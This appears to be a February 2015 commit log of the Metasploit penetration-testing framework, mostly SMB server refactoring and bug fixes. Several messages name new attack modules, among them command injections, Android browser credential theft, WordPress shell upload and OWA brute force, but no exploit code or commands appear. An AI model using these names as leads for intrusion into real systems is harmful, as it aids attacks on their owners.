5f8c14c958
Fix check for TrueClass, plus other small changes
2015-02-28 14:11:15 -06:00
sinn3r
6f4259f2de
Revert #4859 , temporary solution for unbreaking client
...
This reverts commit 7ab86be72a , reversing
changes made to 49ae173057 .
2015-02-28 14:07:26 -06:00
sinn3r
1b699b0ddc
Resolve merge conflict
...
Conflicts:
lib/msf/core/rpc/v10/client.rb
2015-02-28 14:07:01 -06:00
jvazquez-r7
eb7ac02d1a
Normalize handlers names
2015-02-28 12:14:58 -06:00
jvazquez-r7
1d602d38c9
Refactor SessionSetupAndx handler
2015-02-28 12:10:48 -06:00
William Vu
b27c9b9efc
Land #4838 , reverse_http{,s} listening service fix
2015-02-27 21:02:58 -06:00
Tod Beardsley
7ab86be72a
Land #4859 , reverting #4823 .
...
PR #4823 caused some update issues. I think #4823 's heart was in the
right place, and I imagine it was only one or two lines that caused the
failures.
2015-02-27 17:55:29 -06:00
sinn3r
ac81318e7a
Revert #4823 , changes for ruby style guide
...
This reverts commit 885469ca52 , reversing
changes made to fd73445d9b .
Please see: #4823 for why.
2015-02-27 17:28:00 -06:00
sinn3r
bdc9f684c2
Check True in error response for mspc
...
Without this check, it causes Pro to behave different (malfunction)
2015-02-27 17:21:23 -06:00
sinn3r
ef9196ba6c
Correct comment
2015-02-27 13:27:49 -06:00
sinn3r
7b6c39058a
Correct target name
2015-02-27 13:24:57 -06:00
sinn3r
90aff51676
Add CVE-2014-7285, Symantec Web Gateway restore.php Command Injection
2015-02-27 12:31:29 -06:00
jvazquez-r7
544f88620d
Merge more mixin refactor
2015-02-27 01:55:14 -06:00
jvazquez-r7
e5e13108ed
Refactor close handling
2015-02-26 23:50:10 -06:00
jvazquez-r7
5418cdad11
Refactor negotiate handling
2015-02-26 23:49:07 -06:00
jvazquez-r7
5ed1f8d44f
Make opts optional
2015-02-26 23:39:17 -06:00
jvazquez-r7
882f0bdc0e
Refactor read_andx request handling
2015-02-26 23:35:12 -06:00
jvazquez-r7
5b770f9f7a
Refactor nt_create_andx requests
2015-02-26 23:31:09 -06:00
jvazquez-r7
70033576fe
Refactor query information level
2015-02-26 23:22:57 -06:00
Brent Cook
49ae173057
Land #4844 : the final tweaks to @wv-r7's PJL extensions
2015-02-26 17:39:49 -06:00
Brent Cook
1454ad79d8
Land #4844 : @wv-r7 extends the PJL repetoire
2015-02-26 17:29:28 -06:00
jvazquez-r7
a3097b2854
Merge find information level refactoring
2015-02-26 16:50:16 -06:00
jvazquez-r7
d544da22b5
Always send answer
2015-02-26 16:47:05 -06:00
jvazquez-r7
45be95747f
Refactor Find Information Levels
2015-02-26 16:46:34 -06:00
jvazquez-r7
89a033c194
Delete unnecessary paddings due to miscalculations
2015-02-26 15:54:00 -06:00
David Maloney
095431c323
fix note search conditions
...
note search conditions needed to know about
vuln_id or else vuln notes would get overwritten
MSP-12183
2015-02-26 15:48:04 -06:00
Tod Beardsley
14b46161e3
Land #4851 , fix rb-readline-r7 checker
2015-02-26 15:19:17 -06:00
rastating
00c4d704f2
Update rspec to include new functionality
...
Added a new test for testing when all versions of a plugin are
vulnerable and added tests for checking theme versions from the
style.css file
2015-02-26 21:18:51 +00:00
rastating
3669fb678d
Fix parameter default value
2015-02-26 21:15:33 +00:00
William Vu
260c603ffb
Fix msfconsole -L
...
s/rb-readline/rb-readline-r7/
Should have been in #4816 (#4128 ).
2015-02-26 15:14:38 -06:00
Tod Beardsley
f9b47a329d
Land #4800 , remove Lorcon source
...
It's maintained upstream, mentioned in #3200 , and the modules that did
use these were themselves broken.
2015-02-26 15:03:32 -06:00
jvazquez-r7
387c966550
Fix unnecessary paddings
2015-02-26 15:00:53 -06:00
David Maloney
a72d49678a
only match by CVE refs
...
the other refs can be non-specific and refer
to multiple distinct vulns, resulting in
incorrect refs being attached to a vuln leading to
a snowball effect with more and more vulns being
misidentified.
MSP-12183
2015-02-26 14:57:16 -06:00
William Vu
b35011012c
Remove LORCON from LICENSE
2015-02-26 14:53:23 -06:00
William Vu
b223dbdfcf
Nuke external LORCON code from orbit
2015-02-26 14:52:01 -06:00
jvazquez-r7
500e4707ab
Use smb_error
2015-02-26 14:35:52 -06:00
Bazin Danil
3aa68c30b0
=> not => !
2015-02-26 21:31:01 +01:00
Bazin Danil
a427e417a3
-consomation +consumption
2015-02-26 21:23:09 +01:00
William Vu
3efae77212
Use /dev/null instead of /etc/passwd
...
File.read returns "" on /dev/null. Don't try it on /dev/zero. :-)
2015-02-26 14:19:25 -06:00
William Vu
f625ad4f9c
Remove unnecessary tests in spec
2015-02-26 14:12:39 -06:00
William Vu
0a51ca12a5
Download all of every file implicitly
2015-02-26 14:10:53 -06:00
Bazin Danil
1d03b9a166
Maj debug output
2015-02-26 21:06:20 +01:00
William Vu
d0ca1b2dc6
Delete a thing I added for no reason
2015-02-26 14:06:10 -06:00
William Vu
5996256ccc
Fix formatting
2015-02-26 14:05:50 -06:00
jvazquez-r7
c73ffea1b9
Do minor cleanup
2015-02-26 12:50:45 -06:00
David Maloney
8351920d1e
don't match based on URL refs
...
multiple vulns may be listed for
the same URL making matches based on
these refs entirely unreliable
MSP-12183
2015-02-26 11:40:15 -06:00
jvazquez-r7
6d6d5a7dca
Land @0x41414141's bugfixing
2015-02-26 11:40:08 -06:00
jvazquez-r7
b1e6de2eeb
Add todo
2015-02-26 11:39:17 -06:00
jvazquez-r7
26bfebf1bb
Add dummy wildcard handling
2015-02-26 11:39:05 -06:00
jvazquez-r7
d0ab9206b9
Do minor cleanup
2015-02-26 10:58:36 -06:00
jvazquez-r7
970f0c94b2
Create CREATE_ANDX constants
2015-02-26 10:44:07 -06:00
Matthew Hall
ab1bb0e50d
bugfixes to https://github.com/jvazquez-r7/metasploit-framework/tree/review_3074_clean_server
...
to provide consistent support for various exploits and OS SMB Commands.
Reintroduces smb_cmd_trans_query_path_info_network for use with the Struts2 JSP injection vulnerability.
Reintroduces smb_cmd_trans_query_file_info_basic for common use with rundll32.
Corrects some issues with filename formatting and pattern matching for file requests (can still be improved).
2015-02-26 16:10:34 +00:00
rastating
3b21de3906
Add WPVDB reference
2015-02-26 13:37:23 +00:00
Brandon Perry
ceb92cdf5e
update login method
2015-02-26 07:33:51 -06:00
joev
c4b85603d2
Fix encoding, oops.
2015-02-25 22:56:33 -06:00
joev
d486d17302
Add reference to 2014 fix.
2015-02-25 21:04:01 -06:00
joev
a410d2ec25
Add android 4.3 stock browser cookie/password theft.
2015-02-25 21:02:15 -06:00
William Vu
4aedd7e5d3
Fix spec for fsquery support
2015-02-25 18:14:17 -06:00
William Vu
f24da1b178
Add file checking to printer_delete_file
2015-02-25 18:14:13 -06:00
William Vu
dc3ba40e5d
Add file checking to printer_upload_file
2015-02-25 18:13:36 -06:00
William Vu
ed9213eb4c
Add fsquery check to fs{download,delete} methods
2015-02-25 17:37:20 -06:00
William Vu
ea5b6f66d4
Add UEL to fsdownload method
2015-02-25 17:35:34 -06:00
William Vu
a543eccdb4
Add FSQUERY test to spec
2015-02-25 17:18:29 -06:00
William Vu
5d3c7f3b4a
Add fsquery method
2015-02-25 17:18:23 -06:00
Tod Beardsley
2edd268275
Land #4816 , switch to rb-readline-r7
...
Fixes #4816
See also MSP-12070
2015-02-25 17:10:08 -06:00
William Vu
1f981dd336
Add FSQUERY constant
2015-02-25 17:00:27 -06:00
William Vu
af5e0ec0d6
Update spec with a couple more cases
...
Also fix a bad copypasta.
2015-02-25 16:43:40 -06:00
jvazquez-r7
d6dc8befa6
Define and use constants
2015-02-25 16:29:11 -06:00
jvazquez-r7
993c75ec77
Update Offset counts with constants
2015-02-25 16:25:16 -06:00
jvazquez-r7
ee18cf592b
Calculate ParamCount and DataCount
2015-02-25 16:00:26 -06:00
William Vu
513d11ce93
Complete replacement of "pathname" with "path"
...
See e8c2c3687d .
2015-02-25 15:52:26 -06:00
William Vu
b3d4fc798f
Add printer_delete_file module
2015-02-25 15:47:53 -06:00
William Vu
c95855ff11
Add fsdelete test to spec
2015-02-25 15:44:12 -06:00
William Vu
91f0713056
Add fsdelete method
2015-02-25 15:41:40 -06:00
William Vu
a096a17e21
Add FSDELETE constant
2015-02-25 15:39:51 -06:00
William Vu
90d179e56f
Add printer_upload_file module
2015-02-25 15:01:01 -06:00
William Vu
26cbeb011b
Add fsdownload test to spec
2015-02-25 15:00:37 -06:00
William Vu
80d8491d09
Add fsdownload method
2015-02-25 15:00:31 -06:00
William Vu
e8c2c3687d
Replace "pathname" with "path"
...
This always bothered me, since I usually say "path."
2015-02-25 15:00:18 -06:00
William Vu
02ea7a0282
Add FSDOWNLOAD constant
2015-02-25 15:00:11 -06:00
jvazquez-r7
df50aa0f06
Use constants for DataCount and DataCountTotal
2015-02-25 14:11:38 -06:00
jvazquez-r7
55107da9fa
Merge definition and usage of constants
2015-02-25 13:47:05 -06:00
jvazquez-r7
f35e03b21b
Use constants
2015-02-25 13:44:56 -06:00
jvazquez-r7
f21959a8a2
Add constants for session setup actions
2015-02-25 13:31:57 -06:00
jvazquez-r7
e967cfbfb3
Create Access rights constants
2015-02-25 13:22:16 -06:00
William Vu
3cf94740e6
Land #4817 , CHECK_TCP option for Lantronix module
2015-02-25 13:16:14 -06:00
William Vu
d301752a88
Fix whitespace
2015-02-25 13:16:03 -06:00
rastating
e2dfdd60c0
Update version range
2015-02-25 19:11:15 +00:00
jvazquez-r7
1caffbea2d
Add constants for Negotiation Capabilities
2015-02-25 12:50:33 -06:00
jvazquez-r7
50d50d5353
Define constants for SMB Flags
2015-02-25 12:28:25 -06:00
jvazquez-r7
e5d9bb0a47
Update from master
2015-02-25 11:37:13 -06:00
jvazquez-r7
ec9be4531b
Add SMB_CREATE_ANDX_RES_PKT template
2015-02-25 11:33:08 -06:00
Tod Beardsley
501301eae0
Land #4843 , fix up datastore case spec
2015-02-25 11:15:54 -06:00
jvazquez-r7
50f8731980
Parse SMB_CMD_CREATE requests
2015-02-25 11:09:14 -06:00
William Vu
f61fb0555d
Add case-insensitive test of delete
2015-02-25 10:47:36 -06:00
William Vu
36e40f02c9
Fix delete in datastore spec
...
I was tired and accidentally a should. :(
2015-02-25 10:47:32 -06:00
HD Moore
302458652c
Lands #4842 , makes datastore.delete() case insensitive.
2015-02-24 21:05:52 -06:00
William Vu
2a66a6ae88
Add delete to datastore spec
2015-02-24 20:57:38 -06:00
William Vu
0ad3473ebb
Implement case-insensitive datastore.delete
2015-02-24 20:47:00 -06:00
jvazquez-r7
d10385cfed
Add template for SMB_TREE_CONN_ANDX_RES_PKT
2015-02-24 19:27:25 -06:00
jvazquez-r7
1f1d95bb37
Delete one more extra comment
2015-02-24 18:27:39 -06:00
jvazquez-r7
aeb7f05158
Delete extra comment
2015-02-24 18:27:21 -06:00
jvazquez-r7
642765aeb5
Delete comments
2015-02-24 18:27:02 -06:00
jvazquez-r7
bb36899699
Do templates names consistent
2015-02-24 18:26:46 -06:00
jvazquez-r7
744e338ddc
Do cleanup
2015-02-24 18:15:55 -06:00
jvazquez-r7
ec53e27249
Do better handling of TRAN2_QUERY_FILE_INFORMATION requests
2015-02-24 17:20:41 -06:00
jvazquez-r7
d29e9fc20b
Parse TRAN2_FIND_FIRST2 commands
2015-02-24 17:02:49 -06:00
rastating
06cb30a20a
Remove duplicated code
2015-02-24 22:43:59 +00:00
jvazquez-r7
ef2366c6eb
Merge handlers fix
2015-02-24 16:03:30 -06:00
jvazquez-r7
231a2f3110
Fix handlers
2015-02-24 16:03:13 -06:00
rastating
242d3b8680
Add WP EasyCart privilege escalation module
2015-02-24 21:11:22 +00:00
David Maloney
e4a58a2ec5
import notes attached to vulns
...
add the ability to import notes that
are attached to vulns instead of hosts
MSP-12183
2015-02-24 13:36:57 -06:00
William Vu
141e2e732f
Land #4839 , @todb-r7's release fixes
2015-02-24 12:53:00 -06:00
Tod Beardsley
94b4bc24bd
Minor word choice changes
...
[See #4804 ]
2015-02-24 12:29:11 -06:00
Tod Beardsley
6feae9524b
Fix up funny indent on description
...
[See #4770 ]
2015-02-24 12:25:48 -06:00
David Maloney
389bcbd343
refactor note import into sep method
...
we will now be importing notes from multiple
place within the XML document. the importing
of notes has been refactored into a seperate
method to be easily reused in this fashion
MSP-12183
2015-02-24 12:18:32 -06:00
David Maloney
2389185376
export notes associated to a vuln
...
in addition to ntoes asscoiated directly
to a host, the XML export will now
export notes that are tied to a vuln
MSP-12183
2015-02-24 12:17:44 -06:00
Brent Cook
c5d36ec24d
remove unused handler methods
...
already defined in the base class
2015-02-24 11:23:08 -06:00
jvazquez-r7
ca7aabe9bc
handle SMB_QUERY_FILE_NETWORK_OPEN_INFO
2015-02-24 11:13:18 -06:00
Brent Cook
3bed2d5136
fix for properly stopping the reverse_http/https handler
...
The issue seems to be at the root of #4669 is that reverse_http
registers an HTTP service but never releases its reference to it. If
we stop it directly, there may be a session already connected to it that
we kill, so we can't do that. Instead, track if we got a connection or
not, and conditionally release our reference based on whether the
connection succeeded.
This should fix #4669
2015-02-24 11:06:50 -06:00
William Vu
5f0aeda0be
Land #4835 , new hex format for msfvenom
2015-02-24 10:56:47 -06:00
jvazquez-r7
31d1ba7100
Simplify debug to inspect smb_cmd_trans_query_file_info_network
2015-02-24 10:54:45 -06:00
Christian Mehlmauer
face3a7f7a
add trailing newline
2015-02-24 17:53:33 +01:00
Christian Mehlmauer
1d2fc989bd
remove newline
2015-02-24 17:35:53 +01:00
Brandon Perry
1134b0a6fa
fix dataastore to datastore
2015-02-24 10:34:33 -06:00
William Vu
c3c9b233dd
Land #4834 , a few more duplicate hash key fixes
2015-02-24 10:32:55 -06:00
Christian Mehlmauer
906c4a9024
use + instead of <<
2015-02-24 17:18:41 +01:00
sinn3r
12a99ecee5
Land #4796 , Handle incompatible payload architecture in BES
2015-02-24 10:02:25 -06:00
Christian Mehlmauer
5880702552
added new hex format
2015-02-24 16:05:02 +01:00
William Vu
7b32b8b58c
Land #4810 , support for job renaming in msfconsole
2015-02-24 08:51:06 -06:00
Brent Cook
ab4a416958
comment out duplicate keys that can only be used for reference
...
ruby is ignoring all but the second instances, and 2.2 still throws a
warning
2015-02-24 08:50:02 -06:00
sinn3r
9cbb8c2357
Merge pull request #27 from wvu-r7/pr/4810
...
Add tab completion for rename_job
2015-02-24 08:40:04 -06:00
Brent Cook
cf913e521c
Land #4832 @wvu-r7 remove and merge duplicate hash key initializers
2015-02-24 08:38:09 -06:00
Brent Cook
1efb4331b2
Land #4833 @wvu-r7 fix RHOST/RPORT typo
2015-02-24 07:44:43 -06:00
BAZIN-HSC
a0ba078801
add debug output
2015-02-24 14:15:30 +01:00
William Vu
5cdb678654
Fix invalid use of RPORT (should be RHOST)
2015-02-24 05:24:09 -06:00
William Vu
f3cad229d3
Fix duplicate hash key "References"
...
In modules/auxiliary/scanner/http/http_login.rb.
2015-02-24 05:19:58 -06:00
William Vu
aa1e1a5269
Fix duplicate hash key "Platform"
...
In modules/exploits/windows/mssql/mssql_linkcrawler.rb.
2015-02-24 05:19:56 -06:00
William Vu
57642377cc
Fix duplicate hash key "MinNops"
...
In modules/exploits/windows/backupexec/name_service.rb.
2015-02-24 05:19:55 -06:00
William Vu
f2c96b4fdd
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/browser/ntr_activex_stopmodule.rb.
2015-02-24 05:19:54 -06:00
William Vu
b671c9b496
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb.
2015-02-24 05:19:53 -06:00
William Vu
2e90f266fa
Fix duplicate hash key "massage_array"
...
In modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb.
2015-02-24 05:19:52 -06:00
William Vu
e618c2f112
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb.
2015-02-24 05:19:51 -06:00
William Vu
2ffa368c18
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/browser/ntr_activex_check_bof.rb.
2015-02-24 05:19:50 -06:00
William Vu
a8f0af4409
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/browser/cisco_playerpt_setsource.rb.
2015-02-24 05:19:49 -06:00
William Vu
ff73b4d51a
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/local/pxeexploit.rb.
2015-02-24 05:19:48 -06:00
William Vu
53e45498ca
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb.
2015-02-24 05:19:47 -06:00
William Vu
943ff2da75
Fix duplicate hash key "DefaultOptions"
...
In modules/exploits/windows/http/hp_pcm_snac_update_domain.rb.
2015-02-24 05:19:46 -06:00
William Vu
6aa3952c91
Fix duplicate hash key "Platform"
...
In modules/exploits/windows/scada/winlog_runtime_2.rb.
2015-02-24 05:19:45 -06:00
William Vu
5eec07d4d1
Fix duplicate hash key "jpeg"
...
In lib/rex/proto/http/server.rb.
2015-02-24 05:19:42 -06:00
William Vu
285c138f80
Add tab completion for rename_job
2015-02-24 04:25:36 -06:00
William Vu
500b6229be
Clean up whitespace
2015-02-24 04:13:59 -06:00
sinn3r
8d17aa04ee
Update the title too
2015-02-24 00:46:35 -06:00
sinn3r
578a545b22
Update MS14-064 for Windows XP
2015-02-23 23:08:13 -06:00
sinn3r
e9b6a023de
Fix a typo
2015-02-23 21:45:02 -06:00
jvazquez-r7
d0d124eb19
Mimic original handling
2015-02-23 20:42:49 -06:00
jvazquez-r7
32046f9c47
smb_cmd_trans_query_path_info_standard
2015-02-23 19:57:16 -06:00
William Vu
8c5ff858d0
Land #4812 , hp_sys_mgmt_login configurable URIs
2015-02-23 19:04:14 -06:00
jvazquez-r7
ea483f14a1
Try to fix logic for query information levels
2015-02-23 17:17:33 -06:00
Brandon Perry
c9439addf8
fix url
2015-02-23 16:50:58 -06:00
jvazquez-r7
3fca26a5de
Add support for SMB_COM_TRANSACTION2 data blocks and params
2015-02-23 16:37:39 -06:00
sinn3r
1b7e819106
Land #4829 , Add the /ews/ path to enable easy OWA brute force
2015-02-23 15:05:38 -06:00
sinn3r
c0f1509f83
Land #4828 , Fixes SSL support for http_login
2015-02-23 15:04:34 -06:00
jvazquez-r7
623d319ca7
Fix offsets
2015-02-23 14:43:06 -06:00
HD Moore
8b0354b193
Fix the SSL boolean test
2015-02-23 14:29:28 -06:00
jvazquez-r7
2653ff9d58
Try to simplify request query and find request handling
2015-02-23 14:06:23 -06:00
HD Moore
bf103def9e
Add the /ews/ path to enable easy OWA brute force
2015-02-23 14:03:39 -06:00
HD Moore
97ccf7e23f
Fixes SSL support for http_login (variable shadowing)
2015-02-23 14:00:29 -06:00
William Vu
bcfbcb7eea
Clean up whitespace
2015-02-23 13:15:21 -06:00
jvazquez-r7
36711e801c
Fix comment
2015-02-23 13:09:23 -06:00
jvazquez-r7
99483f88f1
Fix, hopefully, dispatching
2015-02-23 13:08:45 -06:00
jvazquez-r7
87176b9b37
Redo TRANS2_QUERY_PATH_INFORMATION dispatching
2015-02-23 12:52:50 -06:00
Samuel Huckins
eedfd53e51
Merge branch 'master' into release
2015-02-23 12:37:09 -06:00
jvazquez-r7
a06d07d6da
Clean smb_cmd_trans2_query_file_information dispatching
2015-02-23 12:03:08 -06:00
sinn3r
c39d6e152e
Land #4819 , Normalize HTTP LoginScanner modules
2015-02-23 11:43:42 -06:00
jvazquez-r7
abe5ea42cb
Clean smb_cmd_trans
2015-02-23 11:34:19 -06:00
jvazquez-r7
3d7381b62a
Handle TRANS2 commands
2015-02-23 11:33:49 -06:00
jvazquez-r7
fe00cadd18
Delete require
2015-02-23 11:15:55 -06:00
jvazquez-r7
1dba961698
delete SubCommand namespace
2015-02-23 11:15:14 -06:00
jvazquez-r7
7d9f661d78
Fix includes
2015-02-23 11:14:45 -06:00
jvazquez-r7
439507d359
Move trans2 files
2015-02-23 11:13:08 -06:00
sinn3r
885469ca52
Land #4823 , Meet the modern ruby style guide
2015-02-23 01:03:08 -06:00
sinn3r
fd73445d9b
Land #4824 , Handle ICMP "protocol not available" errors as connection errors
2015-02-23 01:00:38 -06:00
William Vu
933c4a05b4
Land #4814 , ms04_011_pct improved error messages
2015-02-22 23:51:14 -06:00
HD Moore
1b1716bcf6
Fix a handful of bugs that broke this modules. Fixes #4799
2015-02-22 22:01:01 -06:00
HD Moore
9730a1655e
Small cleanups to the LLMR responder module
2015-02-22 22:00:42 -06:00
HD Moore
bdd5276524
This fixes a number of issues with the Capture mixin
...
* The use of www.metasploit.com in a datastore option results in a DNS lookup (infoleak). Switch to 8.8.8.8 (TTL=1)
* The hackey code around #each_packet is no longer necessary in newer Ruby versions
* The arp()/probe_gateway() calls to inject_reply() had broken logic leading to early exit and missed replies
* The arp() function now tries up to three times to get a reply (helpful with lossy L2)
* GC.start is extraneous and should be removed
* Increased timeouts
2015-02-22 21:53:47 -06:00
HD Moore
615d71de6e
Remove extraneous calls to GC.start()
2015-02-22 21:51:33 -06:00
HD Moore
e5e3474af4
Handle ICMP "protocol not available" errors as connection errors
2015-02-22 16:36:53 -06:00
Joshua Smith
d60cc2765f
removes forgotten line of test code
2015-02-22 15:53:44 -06:00
Joshua Smith
4c093985db
remove svn vestiges
2015-02-22 15:40:58 -06:00
Joshua Smith
251c284458
modernizes some of the rpc code
2015-02-22 15:37:55 -06:00
Brandon Perry
3d82c7755b
add solarwinds module
2015-02-22 15:35:42 -06:00
HD Moore
29ac27f357
Lands #4813 , replaces print_* with exceptions
2015-02-22 14:14:16 -06:00
rastating
61bdd58fbe
Fix required flag on options
2015-02-22 16:20:47 +00:00
rastating
37a55cce74
Abstracted version comparison code
2015-02-22 16:20:46 +00:00
rastating
31cdd757f6
Add WordPress WPLMS privilege escalation module
2015-02-22 16:20:46 +00:00
rastating
3d38d46729
Add extra version checking methods
...
Added the ability to check style.css for theme versions as version
tagging in style.css is a requirement of WordPress theme development.
Also updated existing readme checking to allow for a nil fixed_version
parameter in scenarios where all versions are vulnerable in an EOL
product.
2015-02-22 16:20:46 +00:00
HD Moore
c60e2584bf
Comment typo
2015-02-22 02:51:18 -06:00
HD Moore
888c718f40
Fix two typos
2015-02-22 02:45:50 -06:00
HD Moore
ea54696d99
Remove redundant params now provided by the mixin helper
2015-02-22 02:32:28 -06:00
HD Moore
8e8a366889
Pass Http::Client parameters into LoginScanner::Http (see #4803 )
2015-02-22 02:26:15 -06:00
Christian Mehlmauer
c820431879
Land #4770 , Wordpress Ultimate CSV Importer user extract module
2015-02-22 08:52:45 +01:00
BAZIN-HSC
d8132f86ff
ajust buffer size
2015-02-22 08:51:16 +01:00
RageLtMan
2e58a3d1dd
Update credential reporting mechanism
...
Replace :report_auth_info deprecated method with hooks into the
Metasploit Credential based system.
2015-02-22 02:49:54 -05:00
William Vu
2609a2acee
Land #4815 , MS15-001 reference update
2015-02-21 21:05:03 -06:00
William Vu
2b9ab901cb
Land #4811 , creds -d documentation
2015-02-21 20:59:52 -06:00
William Vu
9f826f4caa
Land #4809 , s/WtfError/ElfParseyError/
2015-02-21 20:52:58 -06:00
William Vu
b39e2bea8e
Land #4806 , EXE::Custom case-sensitivity fix
2015-02-21 20:49:53 -06:00
William Vu
f900d9cf26
Handle whitespace as per blank?
...
!~ /\S/ as per the original implementation of blank? also works.
2015-02-21 20:36:16 -06:00
RageLtMan
8ace041a23
TCP option for Lantronix Telnet Password Recovery
...
This commit adds a CHECK_TCP option to the Lantronix password
disclosure module. If set to true, a TCP port will be used to
check for the disclosure instead of the default UDP configuration.
2015-02-21 20:22:18 -05:00
rastating
f9dbff8a6c
Add store path output
2015-02-21 23:41:26 +00:00
Christian Mehlmauer
7d42dcee9c
Land #4769 , Wordpress holding-pattern theme file upload
2015-02-21 23:13:06 +01:00
Christian Mehlmauer
9223c23eb4
Land #4808 , Wordpress plugin upload module
2015-02-21 23:01:15 +01:00
HD Moore
4fd2f6867f
Switch to rb-readline-r7 for now
2015-02-21 11:30:40 -06:00
sinn3r
aa8a82f44f
Update MS15-001 reference
2015-02-21 08:39:21 -06:00
rastating
708340ec5a
Tidy up various bits of code
2015-02-21 12:53:33 +00:00
jvazquez-r7
80aef690a0
Do first commands refactoring
2015-02-21 01:48:47 -06:00
jvazquez-r7
ef62e1fc04
Land #4798 , @wchen-r7's deletion of x64 support on ms13_022_silverlight_script_object
...
* Ungenuine support, well deleted
2015-02-21 01:11:09 -06:00
jvazquez-r7
ef990223d5
Move arch out of target
2015-02-21 01:10:35 -06:00
jvazquez-r7
52b41ab4f8
Do first Share refactoring
2015-02-21 01:00:46 -06:00
sinn3r
441c301fd3
Fix #4458 , more informative errors for ms04_011
...
Fix #4458
2015-02-21 00:32:20 -06:00
sinn3r
bf2be7964b
Fix #4592 , print_* methods used in LoginScanner modules
...
Fix #4592
2015-02-20 22:46:21 -06:00
sinn3r
fb9a054713
Fix rspec
...
The login URi is user-configurable so we shouldn't dictate this
anymore.
2015-02-20 22:08:09 -06:00
sinn3r
f4e512e0ff
Should be an array
2015-02-20 21:56:49 -06:00
sinn3r
40c237f507
Fix #3982 , allow URIs to be user configurable
...
Fix #3982
2015-02-20 21:54:03 -06:00
sinn3r
b8cb93d712
Fix #3790 , document the creds -d feature
...
Fix #3790
2015-02-20 21:38:26 -06:00
sinn3r
099dbee538
Update help.feature
2015-02-20 21:23:02 -06:00
sinn3r
b5f8ae85cf
Fix #3827 , Add support to rename a job
...
Fix #3827
2015-02-20 21:13:45 -06:00
sinn3r
85871ab822
Fix #4382 , Make errors more meaningful
...
Fix #4382
2015-02-20 20:09:58 -06:00
rastating
76a64b31d7
Resolve msftidy issues
2015-02-21 01:41:29 +00:00
rastating
7d30b214ee
Add WordPress admin shell upload module
2015-02-21 01:31:33 +00:00
rastating
7e1e0f8196
Add plugin upload functionality
2015-02-21 01:20:20 +00:00
jvazquez-r7
df903120e3
Reorganize trans2_find_first2 requests
2015-02-20 18:28:49 -06:00
sinn3r
40972220e3
Land #4804 , HP Client Automation Command Injection
2015-02-20 16:56:03 -06:00
jvazquez-r7
52a0e6dd1c
Mark a couple of handlers for later review
2015-02-20 16:28:04 -06:00
Brent Cook
58436fcc98
Land #4706 jvazquez-r7 adds NTLMSSP support for smb_relay
2015-02-20 15:15:00 -06:00
William Vu
c9ddd0dac9
Land #4795 , f5_bigip_cookie_disclosure update
2015-02-20 13:11:42 -06:00
William Vu
b676f5a07e
Clean up #4795
2015-02-20 13:10:31 -06:00
BAZIN-HSC
0d53dc1d13
use a buffer to avoid memory use on victims machine
...
use a buffer to avoid memory use on victims machine
use attacker memory to store files
avoid bugs on large files
2015-02-20 20:02:09 +01:00
William Vu
59b7f321e5
Land #4801 , QConvergeConsole Tomcat creds
2015-02-20 12:54:07 -06:00
William Vu
cd8f9065be
Land #4807 , reverse_http_proxy_pstore spec
2015-02-20 12:28:20 -06:00
Brent Cook
641b67469d
add payload specs for reverse_http_proxy_pstore
...
PR predated the spec
2015-02-20 12:23:51 -06:00
Meatballs
dc4898765f
Fix EXE::Custom
2015-02-20 16:59:18 +00:00
jvazquez-r7
a91d19e0e7
Add template for SMB_QUERY_FILE_STANDARD_INFO
2015-02-20 10:58:15 -06:00
jvazquez-r7
21978a1bfe
Add template for SMB_QUERY_FILE_BASIC_INFO
2015-02-20 10:40:45 -06:00
Brent Cook
b624278f9d
Merge branch 'master' into land-4706-smb_reflector
2015-02-20 10:26:04 -06:00
Brent Cook
765a1bffd7
Land #1396 @somename11111's http_proxy_pstore stager
2015-02-20 09:47:34 -06:00
jvazquez-r7
cf63e09188
Add templates for SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR and SMB_FIND_FILE_NAMES_INFO_HDR
2015-02-20 09:17:51 -06:00
Brent Cook
5297ebc1a1
Merge branch 'master' into land-1396-http_proxy_pstore
...
Bring things back to the future
2015-02-20 08:50:17 -06:00
Brent Cook
91b4a59fc7
msftidy fixes
2015-02-20 08:42:54 -06:00
BAZIN-HSC
fe75a31a59
NTFS parser optimisation
...
NTFS Parser does not gather automaticaly non resident attribute
that were not necessary
Railgun is called 17 times instead of 32 on an examples on ntds.dit
2015-02-20 13:11:53 +01:00
Matthew Hall
e6ecdde451
Modify SMB generation code to use primer based on #3074 changes to
...
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:35:22 +00:00
Matthew Hall
2fc9d3ae8d
Merge branch 'module-generic_http_dllinject' of github.com:0x41414141/metasploit-framework into module-generic_http_dllinject
...
Conflicts:
modules/exploits/windows/http/generic_http_dll_server.rb
2015-02-20 11:34:13 +00:00
Matthew Hall
4963992b17
Modify SMB generation code to use primer based on #3074 changes to
...
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:31:15 +00:00
Matthew Hall
da829d9ea9
Modify SMB generation code to use primer based on #3074 changes to
...
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:29:09 +00:00
Matthew Hall
9aef561fd3
Modify SMB generation code to use primer based on #3074 changes to
...
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:28:35 +00:00
Matthew Hall
34f4ae782d
Modify SMB generation code to use primer based on #3074 changes to
...
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:26:19 +00:00
Matthew Hall
1751921ede
Modify SMB generation code to use primer based on #3074 changes to
...
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
2015-02-20 11:01:38 +00:00
jvazquez-r7
1633a6d4fd
Read response back while staging
2015-02-20 01:06:47 -06:00
jvazquez-r7
b0c6671721
Add module for ZDI-15-038, HPCA command injection
2015-02-20 00:41:17 -06:00
jvazquez-r7
f2405a5dc0
Create SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH constant
2015-02-20 00:35:26 -06:00
jvazquez-r7
571dffa317
